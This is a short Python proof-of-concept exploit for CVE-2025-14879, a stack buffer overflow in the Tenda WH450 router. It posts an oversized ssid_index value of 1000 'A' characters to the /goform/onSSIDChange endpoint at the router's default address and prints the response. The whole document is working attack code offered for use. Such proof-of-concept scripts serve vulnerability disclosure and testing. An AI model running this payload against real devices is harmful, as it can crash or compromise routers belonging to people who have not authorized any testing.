CVE-2025-14879

import requests # CVE-2025-14879 PoC - Tenda WH450 Stack Buffer Overflow # Target: Tenda WH450 router # Component: /goform/onSSIDChange # Parameter: ssid_index target_ip = "192.168.0.1" # Default Tenda router IP target_port = 80 # Construct malicious payload with oversized ssid_index parameter # Buffer size is exceeded causing stack overflow payload = "A" * 1000 # Oversized input to trigger overflow url = f"http://{target_ip}:{target_port}/goform/onSSIDChange" data = { "ssid_index": payload, "ssid": "TestSSID", "enable": "1" } try: response = requests.post(url, data=data, timeout=10) print(f"[*] Request sent to {url}") print(f"[*] Payload length: {len(payload)}") print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}")

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